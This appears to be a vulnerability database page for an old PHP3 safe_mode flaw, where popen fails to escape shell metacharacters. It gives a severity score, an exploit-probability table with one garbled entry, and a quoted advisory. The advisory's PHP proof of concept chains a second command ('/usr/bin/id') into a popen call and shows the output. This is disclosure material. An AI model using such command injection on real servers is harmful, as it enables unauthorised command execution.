CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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PHP3 with safe_mode enabled does not properly filter shell metacharacters from commands that are executed by popen, which could allow remote attackers to execute commands.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.19%
–
–
2022-04-03
–
–
4.19%
–
–
2022-07-17
–
–
4.19%
–
–
2023-03-12
–
–
–
2.61%
–
2024-02-11
–
–
–
6.4%
–
2024-03-24
–
–
–
6.4%
–
2024-06-02
–
–
–
6.4%
–
2025-01-19
–
–
–
6.4%
–
2025-03-18
–
–
–
–
3.09%
2025-03-30
–
–
–
–
3.45%
2025-04-15
–
–
–
–
3.45%
2025-04-15
–
–
–
–
3.45,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2000-01-03 23h00 +00:00 Author : Kristian Koehntopp EDB Verified : Yes
source: https://www.securityfocus.com/bid/911/info
PHP Version 3.0 is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.
Because it runs on a webserver and allows for user implemented (and perhaps security relevant) code to be executed on it, PHP has built in a security feature called 'safe_mode' to control executed commands to the webroot environment which PHP operates in.
This is done by forcing any system call which executes shell commands to have their shell commands passed to the EscapeShellCmd() function which ensures the commands do not take place outside the webroot directory.
Under certain versions of PHP however, the popen() command fails to be applied to the EscapeShellCmd() command and as such users can possibly exploit PHP applications running in 'safe_mode' which make of use of the 'popen' system call.
<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>\n";
while($line = fgets($fp, 1024)):
printf("%s<br>\n", $line);
endwhile;
pclose($fp);
phpinfo();
?>
which gave me the following output
1
total 53
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)
and from the configuration values of phpinfo():
safe_mode 0 1